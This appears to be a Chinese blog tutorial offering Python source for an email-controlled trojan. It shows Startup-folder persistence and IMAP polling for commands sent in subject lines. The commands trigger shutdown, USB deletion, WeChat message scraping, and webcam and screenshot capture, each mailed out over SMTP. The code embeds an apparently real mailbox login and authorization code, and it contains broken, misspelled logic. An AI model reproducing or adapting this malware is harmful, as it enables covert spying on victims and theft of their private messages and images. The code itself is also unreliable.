python结合邮件制作木马程序

新人的第一篇文章,求点赞支持

注意:文章仅用于学习,不可用于非法用途


1.载入库

使用的库比较多,具体用途就不说了

import email
import email.header
import imaplib
from bs4 import BeautifulSoup
import os
import time
import re
import tkinter.messagebox
from tkinter import *
import cv2
from PIL import ImageGrab
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.utils import formataddr
import smtplib
from email.mime.image import MIMEImage
import win32api
import win32con
import ctypes
import shutil
import tkinter as tk
from tkinter import messagebox,ttk,filedialog
import smtplib,os
from email.mime.application import MIMEApplication
from email.header import Header
from wxauto import *
import smtplib
import psutil
import threading
import socket

2.开机自启动

一个病毒想要让它长久运行下去,开机自启动是非常重要的部分,这个原理是将病毒移动到开机程序文件夹中

t = os.getcwd()+'\\'
file_a_path = '病毒.exe' #exe后缀不能去掉
file_b_path = 'system windows.exe'
folder2_path = 'C:\\Users\\' + os.getlogin() +'\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\'
try:
    shutil.move(t + file_a_path, folder2_path + file_b_path)
except Exception as e:
    print('error',e)

3.病毒向邮箱发送接受请求,并接收以及执行指令

while True:
    time.sleep(10)
    class IMAP:
        def __init__(self):
            self.user_id = ''  # 163邮箱地址
            self.password = ''
            self.imap_server = 'imap.163.com'
 
        def login(self):
            while True:
                try:
                    serv = imaplib.IMAP4_SSL(self.imap_server, 993)  # SSL加密
                    print('imap4 服务器连接成功')
                except Exception as e:
                    print('imap4 服务器连接失败:', e)
                    time.sleep(1)
 
                try:
                    serv.login(self.user_id, self.password)
                    print('imap4 登录成功')
                    return serv
                    break
                except Exception as e:
                    print('imap4 登录失败:', e)
                    time.sleep(1)
 
        def loginout(self, conn):
            conn.close
            conn.logout()
 
        def get_content(self, conn):
            conn.select()
            ret, data = conn.search(None, 'ALL')  # 所有邮件

            email_list = data[0].split()
            if len(email_list) == 0:
                print('收件箱为空')
            item = email_list[len(email_list) - 1]
            ret, data = conn.fetch(item, '(RFC822)')
            msg = email.message_from_string(data[0][1].decode('gbk'))
            sub = msg.get('subject')
            email_from = msg.get('from')
            email_to = msg.get('to')
            sub_text = email.header.decode_header(sub)
            email_from_text = email.header.decode_header(email_from)
            email_to_text = email.header.decode_header(email_to)
            if sub_text[0]:
                sub_detail = self.tuple_to_str(sub_text[0])
            email_from_detail = ''
            for i in range(len(email_from_text)):
                email_from_detail = email_from_detail + self.tuple_to_str(email_from_text[i])
            email_to_detail = ''
            for i in range(len(email_to_text)):
                email_to_detail = email_to_detail + self.tuple_to_str(email_to_text[i])
 
            print('主题:', sub_detail)
            print('发件人:', email_from_detail)
            print('收件人:', email_to_detail)
            b= ['9527']
            for i in b:
                if i in sub_detail:
                    if ae==Flase:
                        ae=True
                        t= re.findall('[\u3002\uff1b\uff0c\uff1a\u201c\u201d\uff08\uff09\u3001\uff1f\u300a\u300b\u4e00-\u9fa5]',sub_detail)
                        root=Tk()
                        root.title(t)
                        root['width']=400
                        root['height']=30
                        root.after (10000, root.destroy)
                        root.mainloop()

            c= ['2795']
            for i in c:
                if i in sub_detail:
                    if af==Flase:
                        af=True
                        t= re.findall('[\u3002\uff1b\uff0c\uff1a\u201c\u201d\uff08\uff09\u3001\uff1f\u300a\u300b\u4e00-\u9fa5]',sub_detail)
                        window.title(t)
                        window = Tk()
                        window.title(t)
                        window.geometry('500x100')
                        name_input = Text(window,width='40',height='3')
                        name_input.pack()
                        def print_name():
                            message = MIMEText('content','plain','utf-8')

                            message['Subject'] = name_input.get()

                            message['From'] = sender 

                            message['To'] = receivers[0]  

                            try:
                                smtpObj = smtplib.SMTP() 

                                smtpObj.connect(mail_host,25)

                                smtpObj.login(mail_user,mail_pass) 

                                smtpObj.sendmail(
                                    sender,receivers,message.as_string()) 

                                smtpObj.quit() 
                                print('success')
                            except smtplib.SMTPException as e:
                                print('error',e) #打印错误
                            Button(window,text='发送',command=print_name).pack()
                            root.after (100000, root.destroy)
                            window.mainloop()

            if sub_detail=='关闭':
                if ag==Flase:
                    ag=True
                    os.system('shutdown -s -t 00')
            if sub_detail=='删除U盘':
                if ah==Flase:
                    ah=True
                    def run():
                        for i in range(100):
                            time.sleep(3)
                            for item in psutil.disk_partitions():
                                if "removable" in item.opts:
                                    try:
                                        os.remove('E:/')
                                        os.remove('F:/')
                                        os.remove('G:/')
                                        os.remove('H:/')
                                    except Exception as e:
                                        print('0')
                    if __name__ == "__main__":
                        run()
            if sub_detail=='查看微信':
                if ai==Flase:
                    ai=True
                    wx.ChatWith(who)
                    msgs = wx.GetAllMessage
                    while msgs[0][0] == '查看更多消息':
                        wx.LoadMoreMessage(1)
                        msgs = wx.GetAllMessage
                        print(f'总共有{len(msgs)}条')
    
                    with open('369.txt', 'w', encoding='utf=8') as file:
                        for msg in msgs:
                            file.write('%s : %s\n' % (msg[0], msg[1]))
                    print(f'总共有{len(msgs)}条')
                    message = MIMEMultipart()
                    message['From'] = sender
                    message['To'] = receivers[0]
                    message['Subject'] = 'title'
#设置txt参数
                    part2 = MIMEText(content2,'plain','utf-8')
#附件设置内容类型,方便起见,设置为二进制流
                    part2['Content-Type'] = 'application/octet-stream'
#设置附件头,添加文件名
                    part2['Content-Disposition'] = 'attachment;filename="369.txt"'
#添加照片附件
#将内容附加到邮件主体中
                    message.attach(part2)
#登录并发送
                    try:
                        smtpObj = smtplib.SMTP()
                        smtpObj.connect(mail_host,25)
                        smtpObj.login(mail_user,mail_pass)
                        smtpObj.sendmail(
                        sender,receivers,message.as_string())
                        print('success')
                        smtpObj.quit()
                    except smtplib.SMTPException as e:
                        print('error',e)
                    os.remove("369.txt")


            if sub_detail=='继续':
                ae=Flase
                af=Flase
                ag=Flase
                ah=Flase
                ai=Flase
                aj=Flase
            if sub_detail=='观察':
                if aj==Flase:
                    aj=True
                    def get_photo():
                        cap = cv2.VideoCapture(0)  # 开启摄像头
                        while True:
                            f, frame = cap.read()  # 将摄像头中的一帧图片数据保存
                            cv2.imwrite('14.png', frame)  # 将图片保存为本地文件
                            cv2.waitKey(25)

                            cap.release()  # 关闭摄像头
                            break

                    if __name__ == '__main__':
                        get_photo()

                    mail_host = 'smtp.163.com'
                    mail_user = 'kety5288'
                    mail_pass = 'KTLTMZQIMVFKUXPI'
                    sender = '[email protected]'
                    receivers = ['[email protected]']

                    message = MIMEMultipart()
                    message['From'] = sender
                    message['To'] = receivers[0]
                    message['Subject'] = '照片'

                    with open('14.png','rb')as fp:
                        picture = MIMEImage(fp.read())

                        picture['Content-Type'] = 'application/octet-stream'
                        picture['Content-Disposition'] = 'attachment;filename="14.png"'

                    message.attach(picture)


                    try:
                        smtpObj = smtplib.SMTP()
                        smtpObj.connect(mail_host,25)
                        smtpObj = smtplib.SMTP_SSL(mail_host)
                        smtpObj.login(mail_user,mail_pass)
                        smtpObj.sendmail(sender,receivers,message.as_string())
                        smtpObj.quit()
                    except smtplib.SMTPException as e:
                        print('error',e)
                    os.remove("14.png")


                    im = ImageGrab.grab()
                    im.save('13.png')
                    message = MIMEMultipart()
                    message['From'] = sender
                    message['To'] = receivers[0]
                    message['Subject'] = '屏幕'

                    with open('13.png','rb')as fp:
                        picture = MIMEImage(fp.read())

                        picture['Content-Type'] = 'application/octet-stream'
                        picture['Content-Disposition'] = 'attachment;filename="13.png"'
                    message.attach(picture)

                    try:
                        smtpObj = smtplib.SMTP()
                        smtpObj.connect(mail_host,25)
                        smtpObj = smtplib.SMTP_SSL(mail_host)
                        smtpObj.login(mail_user,mail_pass)
                        smtpObj.sendmail(sender,receivers,message.as_string())
                        smtpObj.quit()
                    except smtplib.SMTPException as e:
                        print('error',e)
                    os.remove("13.png")


    if __name__ == '__main__':
        IMAP = IMAP()
        conn = IMAP.login()
        IMAP.front(conn)
        IMAP.get_content(conn)
        IMAP.loginout(conn)

4.使用说明

需要自己添加邮箱和授权码,指令是要发在标题处的

5.总结

以上代码就是木马程序的核心,可以继续添加功能,但万不可做违法的事,下一期是一个炫酷的病毒控制端

你可能感兴趣的:(python,python)